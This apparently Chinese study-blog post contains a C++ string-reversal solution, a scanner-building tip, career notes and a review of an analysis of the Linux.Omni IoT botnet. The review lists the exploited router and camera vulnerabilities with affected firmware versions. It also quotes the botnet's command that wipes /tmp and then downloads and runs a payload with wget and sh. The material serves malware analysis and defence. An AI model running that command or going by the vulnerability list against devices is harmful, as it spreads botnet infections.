ARTS:

  • Algrothm: leetcode算法题目
  • Review: 阅读并且点评一篇英文技术文章
  • Tip/Techni: 学习一个技术技巧
  • Share: 分享一篇有观点和思考的技术文章

Algorithm

【leetcode】Reverse String

https://leetcode.com/problems/reverse-string/

1)problem

编写一个以字符串作为输入并逆转字符串的函数。

2)answer

字符串大于0,就从最末尾开始取值。

3)solution

#include "pch.h"
#include <stdio.h>
#include <string>
#include <iostream>
#include <algorithm>
using std::string;

class Solution {
public:
    string reverseString(string s) {

        string result = "";
        for (int i =s.length()-1;i>=0 ; i--)
        {
            result += s.at(i);
        }

        return result;

    }
};

int main()
{
    // 使用内容
    Solution nSolution;
    nSolution.reverseString("abcdef");
}

Review

【漏洞挖掘】Linux.Omni IoT 僵尸网络恶意软件分析

1)场景

Linux下针对IoT威胁的分类和分析。

2)问题难点

使用什么方式对IOT设备进行攻击。

3)解决问题的方法

Linux.Omni因其感染库包含了许多漏洞(总共11种)

4)方法细节

利用的IoT设备漏洞

  • Vacron

VACRON网络录像机中"board.cgi"参数存在代码注入的漏洞。

  • Netgear – CVE-2016-6277

通过对路由器“cgi-bin/”目录进行GET请求而进行的远程代码执行攻击。

  • D-Link – OS-Command Injection via UPnP

IoTReaper使用的是hedwig.cgi参数cookie溢出的漏洞,Omni使用的则是UPnP端口漏洞。

Omni的POST请求如下:

我们可以找到对应的二进制命令:

存在漏洞的固件版本是:
DIR-300 rev B – 2.14b01,
DIR-600 – 2.16b01,
DIR-645 – 1.04b01,
DIR-845 – 1.01b02,
DIR-865 – 1.05b03。

  • CCTV-DVR

与“/language/Swedish”资源相关联,允许远程执行代码。

  • D-Link – HNAP

通过CAPTCHA绕过登录,并允许外部攻击者执行远程代码。

D-Link路由器有此漏洞的版本:

DI-524 C1 3.23,
DIR-628 B2 1.20NA1.22NA,
DIR-655 A1 1.30EA

  • TR-069 – SOAP

漏洞利用如下:

二进制中的指令:

  • Huawei Router HG532 – Arbitrary Command Execution

在华为HG532路由器中,可以通过修改HTTP请求来利用配置文件验证错误的漏洞。

此漏洞已在分析Okiru/Satori僵尸网络的文章中(Analysis of Linux.Okiru)被检测及分析。

  • Netgear – Setup.cgi RCE

Netgear路由器DGN1000 1.1.00.48固件中存在允许远程执行代码而无需事先验证的漏洞。

  • Realtek SDK

使用Realtek SDK和miniigd守护程序的不同设备都存在通过UPnP SOAP接口的命令注入漏洞。

  • GPON

GPON路由器的最新漏洞

5)总结

尽管攻击方式多种多样, 在受感染设备上运行的命令是一致的:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

下载的文件是bash脚本,它依据受感染设备的不同构架来下载样本。

Tip

【安全开发】恶意代码检查工具1

1)场景

网络安全设备报警,某台机器中毒。

2)问题难点

如何快速找到机器里的恶意代码相关进程、文件。

3)解决思路

通过搜索国内外恶意代码公开的分析报告,分析样本,提取行为特征。

4)方法细节

逆向分析收集到的样本,然后提取规则:

文件规则:文件路径、Yara规则

注册表:注册表路径、子项、类型、值

内存:内存特征码、内存类型、内存保护属性、内存块大小范围

遍历内存代码:

【恶意代码】恶意代码代码特征提取
https://www.cnblogs.com//17bdw/p/10181207.html

5)总结

只需要搞懂两个知识点:VirtualQueryEx使用、MEMORY_BASIC_INFORMATION 结构体中RegionSize字段的含义。

Share

【业务能力】极客时间-左耳听风-开篇词1

1)场景

利用技术变现思路。

2)问题难点

在长时间加班情况下,如何保持学习。

3)解决思路

觉得还是要从头到尾看完一本书,不容易被分神。
白天工作回家就不想动了。

4)方法细节

【技术思路】极客时间-左耳听风-开篇词1
https://www.cnblogs.com/17bdw/p/10183216.html

5)总结

用技术变现:

独立思考
保持学习力、洞察力
寻找合适的环境
具备动手能力。
关注技术付费点
善于提升经验
输出价值观
朋友圈
拥有技术领导力

【ARTS】01_06_左耳听风-20181217~1223的更多相关文章

  1. 【ARTS】01_21_左耳听风-201900401~201900407

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  2. 【ARTS】01_20_左耳听风-20190325~20190331

    zz## ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 ...

  3. 【ARTS】01_19_左耳听风-20190318~20190324

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  4. 【ARTS】01_18_左耳听风-20190311~20190317

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  5. 【ARTS】01_17_左耳听风-20190304~20190310

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  6. 【ARTS】01_16_左耳听风-20190225~20190303

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  7. 【ARTS】01_14_左耳听风-20190211~20190217

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  8. 【ARTS】01_10_左耳听风-20190114~20190120

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  9. 【ARTS】01_09_左耳听风-20190107~20190113

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

随机推荐

  1. Linux内核设计(第二周)——操作系统工作原理

    Linux内核设计(第二周)--操作系统工作原理 by苏正生 原创作品转载请注明出处 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/U ...

  2. 关于 error C2039: “create”: 不是“cocos2d::GLView”的成员的解决方法

    问题: 跑一个demo,因为是涉及3.x版本的引擎,不是很熟悉,在VS2013上运行,报错 error C2039: “create”: 不是“cocos2d::GLView”的成员 解决: 通过查阅 ...

  3. 0302-对IT行业的感思

    在参考并分析了2014行业排名和IT行业的就业分析后,给我的第一体会就是:如今的IT行业,是一个机会与挑战并存的行业. 先说机会. 从行业排行相关资料不难看出,现在是一个信息与大数据引领一切的时代,电 ...

  4. ElasticSearch 2 (17) - 深入搜索系列之部分匹配

    ElasticSearch 2 (17) - 深入搜索系列之部分匹配 摘要 到目前为止,我们介绍的所有查询都是基于完整术语的,为了匹配,最小的单元为单个术语,我们只能查找反向索引中存在的术语. 但是, ...

  5. Linux kernel 发布 5.0-rc1 版本

    Linux kernel 要发布 5.0 了.. 跟原因是 linus 认为 4.21的小版本号太多了... 邮件内容如下: https://lore.kernel.org/lkml/20190107 ...

  6. array_pop()方法

    array_pop — 将数组最后一个单元弹出(出栈) 说明 mixed array_pop ( array &$array ) array_pop() 弹出并返回 array 数组的最后一个 ...

  7. Sublime Text 3 插件整理

    Sublime Text作为一个尽为人知的代码编辑器,其优点不用赘述.界面整洁美观.文本功能强大,且运行速度极快,非常适合编写代码,写文章做笔记.Sublime Text还支持Mac.Windows和 ...

  8. 【设计模式】—— 桥接模式Bridge

    前言:[模式总览]——————————by xingoo 模式意图 这个模式使用的并不多,但是思想确实很普遍.就是要分离抽象部分与实现部分. 实现弱关联,即在运行时才产生依赖关系. 降低代码之间的耦合 ...

  9. selenium_UI自动化——篇1(基础)

    元素定位的几种方式: (1)driver.find_element_by_id("idname") (2)driver.find_element_by_name("nam ...

  10. Number Clicker CodeForces - 995E(双向bfs)

    双向bfs  注意数很大  用map来存 然后各种难受....